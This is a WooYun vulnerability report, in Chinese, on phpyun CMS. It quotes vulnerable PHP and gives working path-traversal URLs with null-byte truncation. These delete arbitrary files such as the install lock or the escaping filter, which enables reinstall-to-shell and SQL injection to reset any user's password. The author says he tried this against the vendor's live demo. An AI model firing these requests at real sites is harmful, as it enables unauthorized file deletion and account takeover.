WooYun-2014-88418:phpyun (20141230) 任意文件删除致注入可改任意用户密码(4处打包)
漏洞作者: ′雨。
来源:http://www.wooyun.org/bugs/wooyun-2014-088418
简要描述
更新了 来看看。 果然是功能越多 bug越多 bug越多 rank越多。 这个不小心测试了下 demo, 把demo的robots.txt 和 图标都删除了。 你们自己再加上去下把。
phpyun基本都是靠过滤文件。 如果删除过滤文件 肯定是有注入了。 而且删除过滤文件不会像删除install的lock一样对网站造成啥损害。
详细说明
http://**.**.**.**/bbs/thread-8149-1-1.html //20141222
http://**.**.**.**/PHP%E4%BA%91%E4%BA%BA%E6%89%8D%E6%8B%9B%E8%81%98%E7%B3%BB%E7%BB%9FV3.2_Beta.rar
最新版本的phpyun下载地址
在friend/model/index.class.php中
function save_avatar_action()
{
@header("Expires: 0");
@header("Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE);
@header("Pragma: no-cache");
$type = isset($_GET['type'])?trim($_GET['type']):'small';//没限制
$pic_id = trim($_GET['photoId']);
[[email protected]](/cdn-cgi/l/email-protection)(".",$pic_id);
$uptypes=array('jpg','png','jpeg','bmp','gif');
if(count($nameArr)!=2) //这里限制了只能含有一个小数点
{
exit();
}
if(!is_numeric($nameArr[0])) //限制文件的名字必须为数字。
{
exit();
}
if(!in_array(strtolower($nameArr[1]),$uptypes)) //限制文件类型只能为图片的各种类型
{
$d['statusText'] = iconv("gbk","utf-8",'文件类型不符!');
$msg = json_encode($d);
echo $msg;die;
}
$new_avatar_path = 'upload/friend/friend_'.$type.'/'.$pic_id;
$len = file_put_contents(APP_PATH.$new_avatar_path,file_get_contents("php://input"));
//这里不能getshell 因为phpyun全局有转义 没办法截断。 所以也只能写图片。
$avtar_img = imagecreatefromjpeg(APP_PATH.$new_avatar_path);
imagejpeg($avtar_img,APP_PATH.$new_avatar_path,80);
$d['data']['urls'][0] ="../".$new_avatar_path;
$d['status'] = 1;
$d['statusText'] = iconv("gbk","utf-8",'上传成功!');
$row = $this->obj->DB_select_once("friend_info","`uid`='".$this->uid."'");//查询出来自己的资料
if($type=="small")
{
$this->obj->unlink_pic($row['pic']);
$this->obj->update_once("friend_info",array("pic"=>"../".$new_avatar_path),array("uid"=>$this->uid));
$state_content = "我刚更换了新头像。<br><img src=\"".$this->config['sy_weburl']."/".$new_avatar_path."\">";
$this->addstate($state_content);
$this->obj->member_log("更换了新头像");
}else{
$this->obj->unlink_pic($row['pic_big']);//删除图片
$this->obj->update_once("friend_info",array("pic_big"=>"../".$new_avatar_path),array("uid"=>$this->uid));//这里把自己的图片入库
}
$msg = json_encode($d);
echo $msg;
}
因为全局有转义, 所以$new_avatar_path没办法截断
$this->obj->update_once("friend_info",array("pic_big"=>"../".$new_avatar_path),array("uid"=>$this->uid)) 但是这里有一个入库。
入库了 然后再把 $this->obj->unlink_pic($row['pic_big']);//删除图片
出库出来的删掉。 所以我们可以再次截断了。 所以这个截断也无视GPC啥的。
用phpyun的demo ...测试 首先注册一个会员 然后请求
www....//friend/index.php?m=index&c=save_avatar&photoId=1.jpg&type=xxx/../../../robots.txt%00
这样先转义入库了。 然后就按照这样再请求一次。
www....//friend/index.php?m=index&c=save_avatar&photoId=1.jpg&type=xxx/../../../robots.txt%00
再请求一次 出库, 然后就又能截断 成功删除了robots.txt
测试的时候把demo的robots.txt删掉了 http://www.**.**.**.**/robots.txt 已经404了。
你们自己添加上去一下把。
进一步的利用的话 我们可以先删除lock 然后重装进行getshell
/friend/index.php?m=index&c=save_avatar&photoId=1.jpg&type=xxx/../../../data/phpyun.lock%00
这个需要请求两次。
成功GETSHELL。
第二处在 member/com/model/show.class.php中
function del_action(){
if($_GET['id']){
$row=$this->obj->DB_select_once("company_show","`id`='".(int)$_GET['id']."' and `uid`='".$this->uid."'","`picurl`");//出库
if(is_array($row))
{
$this->obj->unlink_pic(".".$row['picurl']);//这里把出库的删除掉 来看看哪里入库
$oid=$this->obj->DB_delete_all("company_show","`id`='".(int)$_GET['id']."' and `uid`='".$this->uid."'");
}
if($oid)
{
$this->obj->member_log("删除企业环境展示");
$this->layer_msg('删除成功!',9);
}else{
$this->layer_msg('删除失败!',8);
}
}
function upshow_action(){
if($_POST['submitbtn']){
$time=time();
unset($_POST['submitbtn']);
if(!empty($_FILES['uplocadpic']['tmp_name']))
{
$upload=$this->upload_pic("../upload/show/",false);
$uplocadpic=$upload->picture($_FILES['uplocadpic']);
$this->picmsg($uplocadpic,$_SERVER['HTTP_REFERER']);
$uplocadpic = str_replace("../upload/show","./upload/show",$uplocadpic);
$row=$this->obj->DB_select_once("company_show","`uid`='".(int)$_POST['uid']."' and `id`='".intval($_POST['id'])."'","`picurl`");
if(is_array($row))
{
$this->obj->unlink_pic(".".$row['picurl']);
}
}else{
$uplocadpic=$_POST['picurl'];//当没定义_FILES的时候竟然直接接受_POST来的。。 那么直接用户可控了。
}
$nid=$this->obj->DB_update_all("company_show","`picurl`='".$uplocadpic."',`title`='".$_POST['title']."',`sort`='".$_POST['showsort']."',`ctime`='".$time."'","`uid`='".$this->uid."'and `id`='".$_POST['id']."'");//入库入库
if($nid)
因为这里是update 所以要先入库一个
在model/user.php中
function saveshow_action()
{
if (!empty($_FILES))
{
$pic=$name='';
$data=array();
$tempFile = $_FILES['Filedata'];
$upload=$this->upload_pic("./upload/show/");
$pic=$upload->picture($tempFile);
[[email protected]](/cdn-cgi/l/email-protection)('.',$_FILES['Filedata']['name']);
$picurl=str_replace("../upload/show","./upload/show",$pic); //可以看到这里是不可控的
$data['picurl']= $picurl;
$data['title']=$this->stringfilter($name[0]);
$data['ctime']=time();
$data['uid']=(int)$_POST['uid'];
$data['eid']=(int)$_GET['eid'];
$id=$this->obj->insert_into("resume_show",$data);
if($id){
echo $name[0]."||".$picurl."||".$id;die;
}else{
echo "2";die;
}
}
}
}
文件名不可控 再回来update里来
这里因为unlink_pic 限制了必须为jpg后缀之类的 这里我们截断一下
成功删除根目录的文件。
第三处
member/user/model/show.class.php //跟上面一个相同的原理 不过是因为一个是企业会员操作的 一个是个人会员操作的、 这里代码我都不贴了 你们自己查把。
第四处
member/user/model/resume.class.php
function del_action(){
$del=(int)$_GET['id'];
$show=$this->obj->DB_select_all("resume_show","`eid`='".$del."' and `picurl`<>''","`picurl`");
if(is_array($show))
{
foreach($show as $v)
{
@unlink(".".$show['picurl']);
}
}
入库也在/member/user/model/show.class.php
function upshow_action(){ 也是因为用户可控了。
这里来搞一下注入
首先我们用上面的方法删除data/db.safety.php 这个参照上面的方法 就不多说了。
首先删除data/db.safety.php 后 就不会转义了 那么我们就能引入单引号了。
再找一个不会对查询转义的函数就行了。
在model/forgetpw.class.php中
function editpw_action()
{
if($_POST['username'] && $_POST['code'] && $_POST['pass'])
{
$password = $_POST['pass'];
$cert = $this->obj->DB_select_once("company_cert","`type`='5' AND `check2`='".$_POST['username']."' AND `check`='".$_POST['code']."' order by id desc","`uid`,`check2`,`ctime`");//这里直接把$_POST的带入了查询 因为删除了过滤文件 所以不转义
if(!$cert['uid'])
{
$this->obj->ACT_layer_msg('验证码填写错误!',8,$this->url("index","forgetpw","1"));
}elseif((time()-$cert['ctime'])>1200){
$this->obj->ACT_layer_msg('验证码已失效,请重新获取!',8,$this->url("index","forgetpw","1"));
}
$info = $this->obj->DB_select_once("member","`uid`='".$cert['uid']."'","`email`");
if(is_array($info))
{
$info['username'] = $cert['check2'];
if($this->config[sy_uc_type]=="uc_center" && $info['name_repeat']!="1")
{
$this->obj->uc_open();
uc_user_edit($info[username], "", $password, $info['email'],"0");
}else{
$salt = substr(uniqid(rand()), -6);
$pass2 = md5(md5($password).$salt);
$value="`password`='$pass2',`salt`='$salt'";
$this->obj->DB_update_all("member",$value,"`uid`='".$cert['uid']."'");
}
$this->obj->ACT_layer_msg('密码修改成功!',9,$this->url("index","login","1"));
}else{
在满足这些条件后 甚至可以改任意用户的密码
漏洞证明
修复方案
漏洞的源头还是任意文件删除 怎么能让用户直接控制呢。